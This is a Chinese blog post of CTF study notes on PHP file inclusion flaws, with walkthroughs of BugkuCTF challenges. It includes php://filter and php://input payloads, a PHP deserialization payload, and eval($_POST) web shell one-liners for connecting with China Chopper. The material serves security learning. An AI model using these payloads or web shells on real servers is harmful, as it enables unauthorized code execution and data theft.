概述
本文会尽量持续更新以记录文件包含漏洞的各种应用.
漏洞简介
解释:LFI是能够打开并包含本地文件的漏洞;
这里区别一下RFI,远程文件包含漏洞;
意义:文件包含漏洞是"代码注入"的一种,包含即执行,可干的坏事可想而知,看i春秋总结的危害有如下几种:
- PHP包含漏洞结合上传漏洞;
- PHP包含读文件;
- PHP包含写文件;
- PHP包含日志文件;
- PHP截断包含;
- PHP内置伪协议利用。
PHP中文件包含函数有以下四种:
- require()
- require_once()
- include()
- include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
最简单的漏洞代码:<?php include($_GET[file]);?>
当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP的内核并不会在意被包含的文件是什么类型。即你可以上传一个含shell的txt或jpg文件,包含它会被当作PHP代码执行(图马)。
*******以上复制粘贴github上一位老兄的文章*******
php://伪协议 >> 访问各个输入/输出流:
php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Flag在index里
http://120.24.86.145:8005/post/index.php?file=show.php:看到file=show.php就懂了使用?file-php://filter/covert.base64-encode/resource=xxx.php来访问xxx.php的base64编码过的源码.得到flag.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
php://input: 详解
php://iuput 是个可以访问请求的原始数据的只读流。因为它不依赖于特定的php.ini
指令。 注:enctype=”multipart/form-data” 的时候 php://iuput 是无效的
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
bugkuctf的 welcome to bugkuctf
题目做了我很久 大概是我的效率太低了.
打开题目 F12源码提示:
1, php://input 可以读取http entity body中指定长度的值,由Content-Length指定长度,不管是POST方式或者GE T方法提交过来的数据。但是,一般GET方法提交数据 时,http request entity body部分都为空。
2,php://input 与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-da ta的数据。
所以构造payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&passw ord= post: welcome to the bugkuctf
疑问:为什么不直接txt=welcome to the bugkuctf;
猜测:应该是file_get_contents函数的原因 读取http request entity body 部分的数据 但是上文说过,get方法 提交,http request entity body部分为空所以采用了利用php://input读取输入流的办法。
得到hint.php的源码(base64编码的),解码如下:
然后读取index.php的源码解码如下:
hint.php定义了一个FLAG类 并使用了_tostring()方法,这个方法可以理解为将这个类作为字符串执行时会自 动执行的一个函数。
解法:
12行令$file=hint.php
13行令&password=为Flag类型数据,且其中string类型的变量$file为flag.php即可
使用脚本序列化$password:
payload:?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} post: welcome to the bugkuctf
可以得到flag
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
文件上传类型文件包含(使用菜刀连接):
文件包含2-bugku
1.提示文件包含,看url,发现有file=hello.php,一番尝试发现过滤了php://。....然后我就不会了
2.搜索wp发现F12还有upload.php
3.进入upload.php发现要上传文件...一番尝试%00阶段什么好像都不行,然后看前辈们的做法
4.不需要上传什么文件,直接upload然后抓包:
5. 然后ctrl+r发送到reperter里面
改动如下:
6.然后进行菜刀连接,这两种姿势参看:Examples#2
7. 今天起床一早试验了下Example2#2的第4种方法,构造:<% echo'a';eval($_POST['aaa']);%>返回值就是这串构造的字符串。但是可以进行菜刀连接(是因为没有清除菜刀的数据库缓存),清除之后发现就不行了。
然后再实验<?=eval($_POST['j7ur8']);?>但是500 Internal server error 也是没脾气了 只有上面的<script>标签可以。
Finall:学到了什么
菜刀连接挂代理的时候好像没法使用、php的开始和闭合;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
最后
以上就是现实泥猴桃为你收集整理的文件包含的全部内容,希望文章能够帮你解决文件包含所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复